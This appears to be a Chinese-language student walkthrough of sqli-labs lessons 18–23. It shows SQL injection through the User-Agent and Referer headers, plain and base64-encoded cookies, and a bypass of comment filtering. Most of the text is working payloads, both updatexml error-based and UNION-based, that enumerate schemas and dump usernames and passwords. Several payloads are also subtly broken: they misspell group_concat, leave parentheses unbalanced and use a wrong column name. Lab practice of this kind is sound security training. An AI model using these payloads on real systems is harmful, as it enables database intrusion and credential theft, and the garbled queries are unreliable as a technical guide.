lesson18-23
less18 header injection

登入成功返回我的ip地址和user agent
因为user agent在登入成功后会回显,所以理所当然的尝试在header的user agent注入
注入语句’ or updatexml(1,concat(0x7e,(database())),1) or ‘1’ =’1
直接在抓包处改

后面就是正常的把database()改成其他的查库查列操作
或者使用方法二:
’ or updatexml(1,concat(0x7e,(database())),1),‘’,‘’)#进行注入
lesson 19 referer injection
同样的方法选择用
‘ or updatexml(1,concat(0x7e,(database())),1) and ‘1’=’1
‘ or updatexml(1,concat(0x7e,(database())),1) ,’’)#
来闭合在抓包referer处修改注入
与lesson18相同。
lesson 20 cookie injection
抓包,在cookie那里注入
cookie:uname=1’ union select 1,2,database()#
利用联合查询注入
查表
cookie:uname=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’ )#
查列
cookie:uname=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=’security’and table_name=’users’#
查字段
cookie:uname=1’ union select 1,2,group_concat(concat_ws(‘@@’,id,username,password)) from users
lesson 21 cookie injection
跟lesson20思路一样,就是cookie明文经过base64加密
查库
‘) union select 1,2,database()#
表
‘) union select 1,group_concat(table_name) from information_schema.tables where table_schema=’security’),3#
列
)’ union select 1,2,(select goup_concat(column_name) from information_schema.columns where table_name=’users’)#
字段
‘) union select 1,group_concat(concat_ws(‘@@’,username,password)),2#
lession 22 cookie injection
和上一关一样,只是闭合单引号变成了双引号。
lession 23

这里对#和–都做了转译
法一:因为被处理的是注释符号,所以只要用–+和#以外的的注释符就行了。(用;%00来注释)
法二:避免使用注释符,而是用and ‘1’=’1来包裹
查库
?id=-1’ union select 1,database(),3 and ‘1’=’1
查表
?id=-1’ union select 1,goup_concat(table_name)from information_schema.tables where table_schema=’security’ limit 0,1),3 and ‘1’=’1
查列
?id=-1’ union select 1,group_concat(column_name)from information_schema.columns where table=’users’),3 and’1’=’1
查字段
?id=-1’ union select 1,group_concat(concat_ws(@@,username,password))from users,3 and ‘1’=’1